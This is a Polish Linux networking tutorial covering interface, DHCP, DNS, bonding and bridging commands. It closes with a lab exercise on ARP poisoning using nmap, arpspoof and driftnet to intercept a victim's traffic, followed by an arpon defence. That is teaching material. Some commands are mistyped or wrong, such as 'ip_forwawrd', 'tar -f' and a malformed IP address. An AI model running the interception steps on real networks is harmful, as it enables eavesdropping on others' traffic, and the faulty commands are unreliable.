Networking

ip link

Polecenie służy do konfiguracji interfejsów sieciowych / urządzeń / łączy. ###

```
# Sprawdzanie ogólnych informacji o interfejsach sieciowych
ip link

# Włączenie interfejsu eth0
ip link eth0 up
# Wyłączenie interfejsu eth0
ip link eth0 down

# Ustawienie mtu dla interfejsu eth0 czyli największego możliwego datagramu, "pakietu"
ip link set eth0 mtu 1500 # Ustawienie mtu dla interfejsu eth0 czyli
```

Stare narzędzia do diagnostyki sieci

W celu skorzystania z starszych narzędzi takich jak ifconfig, arp, route należy zainstalować odpowiednie pakiety.

```
## Debian i Ubuntu ##
sudo apt-get install net-tools
## Fedora i CentOS ##
sudo yum -y install net-tools program # gdzie program to np. ifconfig
```

Adresowanie IP

Każde urządzenie w sieci ma swój własny adres IP. Jednym z specyficznych adresów IP jest tzw. localhost czyli adres dostępny z poziomu tylko naszego komputera. Bardzo często wykorzystywany jest przez różne narzędzia w celu dostarczania ładnego interfejsu webowego bez wymogu połączenia się z Internetem. Przykładem takich narzędzi jest skaner podatności Nessus. #

```
# Adres IP można wyświetlić dwoma równoważnymi poleceniami
ip address
ip addr
```

Podstawowe polecenia: ping

Polecenie ping wysyła pakiety do innych hostów w sieci korzystając z protokołu ICMP. #

```
# W przykładzie poniżej wysyłamy jeden pakiet pod adres google.com
ping -c1 google.com

# Analogicznie
ping -c3 google.com # wysyła już trzy pakiety

# Jeżeli polecenie ping zostanie wywołane bez parametru c, będzie wysyłać pakiety póki
go nie wyłączymy
```

Podstawowe polecenia: traceroute

Polecenie traceroute pokazuje jaką drogę pokonuje pakiet wysłany z naszego komputera do innego hosta w sieci. #

```
# Wyświetla trasę jaką przebywa pakiet z naszego hosta do serwera google.com
traceroute google.com

# Brak odpowiedzi na dany pakiet jest oznaczony znakiem '*'
```

dhclient

Protokół DHCP służy do dynamicznego przydzielania adresów IP hostom w sieci. Lokalny plik konfiguracyjny klienta DHCP nazywany jest dhclient i znajduje się pod /etc/dhcp/dhclient.conf

```
# W celu sprawdzenia stanu klienta DHCP należy skorzystać z polecenia poniżej

sudo grep -Ei dhcp /var/log/syslog | head -n10 #

# Polecenie grep szuka wystąpień słowa dhcp w pliku var/log/syslog zgodnie z
rozszerzonymi wzorcami i
# bez względu na wielkość liter. Następnie cały ten wynik jest przekazywany do
polecenia head, które
# wyświetla tylko pierwsze 10 linijek wyjścia
```

Podstawowe polecenia DNS

```
# Jednym z podstawowych narzędzi do sprawdzania serwerów DNS jest dig. Dzięki niemu
można wyszukać
# adresy serwerów pocztowych, hostów oraz serwerów nazw

# Przykład użycia dla domeny google.com
# dig google.com

# Innym narzędziem pomocnym w pracy z protokołem DNS jest getent. Wyświetla ono  pliki
przełączania nazw

getent hosts

# Do pracy z DNS można użyć też nslookup, które wysyła zapytanie do serwerów DNS w
celu:
* wyszukiwania serwerów poczty
* wyszukiwania wstecznego
* wyszukiwania adresu IP hosta
* i wielu więcej informacji

# Przykład użycia dla google.com
nslookup google.com

# Polecenie netstat wyświetla informację o aktualnych połączeniach sieciowych takich
jak nasza przeglądarka, serwery Microsoftu
```

```
# Korzystając z opcji -l możemy dodatkowy wyświetlić wszystkie nasłuchujące procesy na naszym hoście

netstat -l

# Do sprawdzenia statystyk takich jak ilość przesyłanych pakietów itd., możemy użyć polecenia ip link

ip -s link
```

Przykładowa konfiguracja statycznego adresu IP

```
network:
 version: 2
 Renderer: NetworkManager / networkd
 ethernets:
  DEVICE_NAME:
   Dhcp4: yes/no
   Addresses: [IP_ADDRESS/NETMASK]
   Gateway: GATEWAY
   Nameservers:
    Addresses: [NAMESERVER_1, NAMESERVER_2]
```

Ćwiczenie: Konfiguracja urządzeń sieciowych

Jedną z rzeczy, które często będziemy robić jest konfiguracja urządzeń sieciowych. Takie urządzenia można skonfigurować na dwa sposoby, albo korzystając z statycznego adresu IP, albo z dynamicznego przydzielania adresów IP.

```
### Do sprawdzania poprawności ustawień sieci można wysłać pakiety do serwerów DNS Google
ping -c1 8.8.8.8 # wysłanie jednego pakietu
```

```
### Konfiguracja interefejsu sieciowego z statycznym adresem IP
### Pierwszą rzecz, którą należy zrobić to oczywiście wyświetlenie informacji o interfesjach sieciowych dostępnych na naszym hoście

### Wyświetlenie informacji o adresach IP oraz interfesjach
ip addr
### Jeżeli interfejs jest już skonfigurowany tj. widzimy adres IP przypisany do niego, najpewniej wystarczy go tylko włączyć

ip l set ens33 up

### W przypadku braku konfiguracji naszego interfejsu należy samemu dodać statyczny adres IP naszego hosta oraz ustawić maskę podsieci

sudo ip address add 10.10.10.10/24 ens33

### W przypadku dynamicznej konfiguracji interfejsu przy użyciu protokołu DHCP należy edytować zawartość pliku poniżej
```

```
sudo vi 01-network-manager-all.yaml

### dodając do niego nasz interfejs oraz wersję protokołu DHCP

### W celu sprawdzenia poprawności wprowadzonych danych do pliku należy skorzystać z polecenia

sudo netplan try

### oraz w przypadku poprawności danych zatwierdzić zmiany przy użyciu polecenia

sudo netplan apply
```

Konfiguracja bondingu

```
### W celu skorzystania z interfejsu wiązania (bondingu) należy zainstalować odpowiednie pakiety

sudo apt-get install ifenslave
### Następnie należy sprawdzić czy sterownik wiązania jest powiązany z modprobe

sudo modprobe bonding

### Jeżeli tak, to możemy przystąpić do wiązania.

sudo ip link add bond0 type bond mode 802.3ad
sudo ip link set eth0 master bond 0
sudo ip link set eth1 master bond 0

### Po restarcie systemu wprowadzone zmiany zostaną zresetowane.  W celu trwałego ich zachowania należy zmodyfikować odpowiednie pliki

sudo vi /etc/network/interfaces


### Terazy wystarczy tylko aktywować bonding korzystając z jednej z dwóch metod

sudo systemctl restart networking.service

## albo ##

sudo ifdown eth0 && ifdown eth1 && ifup bond0
```

/proc/net/bonding/bond0

```
# Szczegółowe informacje na temat interfejsu wiązanego

cat /proc/net/bonding/bond0

# Jeżeli chciałbyś uzyskać dokładniejsze informacje lub debugować stan fizycznej kart
```

```
sieciowej użyj

tar -f /var/log/messages
```

Mostkowanie

W celu połączenia kilku interfejsów sieciowych w jeden należy skorzystać z mostkowania.

```
# Łączenie interfejsów eth0  i eth1 w mostek
sudo ip link add br0 type bridge
sudo ip link set eth0 master br0
sudo ip link set eth1 master br0
### Wyświetlanie tablicy adresów MAC  i informacji o portach dla bridge
sudo bridge fdb show
```

Tablice sąsiedztwa

Są to tablice, które zawierają informacje na temat powiązania konkretnego adresu IP z konkretnym adresem MAC

```
### lista adresów IP z niedawno ustawionym adresem MAC

ip neigh show
```

Polecenie ip neighbor

```
### Polecenie dodaje nowy wpis do tablicy sąsiedztwa dla określonego adresu IP
powiązanego z określonym  adresem MAC na wybranym interfejsie

ip neighbor add 192.168.100.1 lladdr 00:c0:7b:7d:00:c8 dev eth3 nud permanent

### Usuwanie wpisu powiązanego z danym adresem IP i interfejsem

ip neighbor del 192.168.100.1 dev eth3

### Zmienia adres IP, który poprzednio został powiązany z podanym adresem MAC

ip neighbor change 192.168.100.2 lladdr 00:c0:7b:7d:00:c8 dev eth3

 ### Pokazuje informację o wpisie, w tym powiązany adres MAC

ip neighbor show 192.168.0.100.2
```

Atak ARP Poisoning

Przed przystąpieniem do ataku należy zainstalować arpspoof, driftnet i arpon. W tym celu korzystamy z następujących poleceń ###

```
sudo apt-get install dsniff # instalacja zestawu pakietów w tym arpspoof
sudo apt-get install driftnet
sudo apt-get install arpon
```

Ćwiczenie: Atak ARP poisoning oraz metoda obrony

W tych przykładach dla uproszczenia adres IP routera to 192.168.0.1, adres IP ofiary 192.168.0.23, adres IP atakującego 192.168.0.79 ###

```
### Komputer atakującego
----
### Najpierw należy poznać adres IP ofiary i routera
### W tym celu należy sprawdzić tablice routingu, a następnie przeskanować sieć w której znajduje się router
ip route show ### IP routera
nmap -sn 192.168.0.0-255 # skanowanie aktywnych hostów bez portów co sygnalizuje opcja -sn ### szukanie adresu IP ofiary
### Włączenie przekierowania połączeń celu udawania routera tzw. attack Man in the Middle
sudo sysctl -w net.ipv4.ip_forwawrd=1
### Kolejnym krokiem jest nasłuchiwanie ruchu wychodzącego od ofiary do routera. W tym celu skorzystamy z narzędzia arpspoof
sudo arpspoof -i eth0 -t 192.168.0.23 192.168.0.1
### Teraz analogicznie nasłuchiwanie ruchu wychodzącego od routera do ofiary
sudo arpspoof -i eth0 -t 192.168.0.1 192.168.0.23
### W celu przechwycenia zdjęć przesyłanych przez sieć należy skorzystać z programu driftnet
sudo driftnet -i eth0
----
### Komputer ofiary
----
### Warto teraz wejść w przeglądarkę i skorzystać z kilu stron HTTP, żeby zobaczyć działanie ataku ARP poisoning
----

### Obrona przed atakiem. Użycie arpon
### Komputer ofiary
----

# uruchamianie arpon na danym interfejsie

sudo arpon -D  -i ens33

# uruchamianie arpon jako proces w tle

sudo arpon -D -i ens33 --deamon
----
```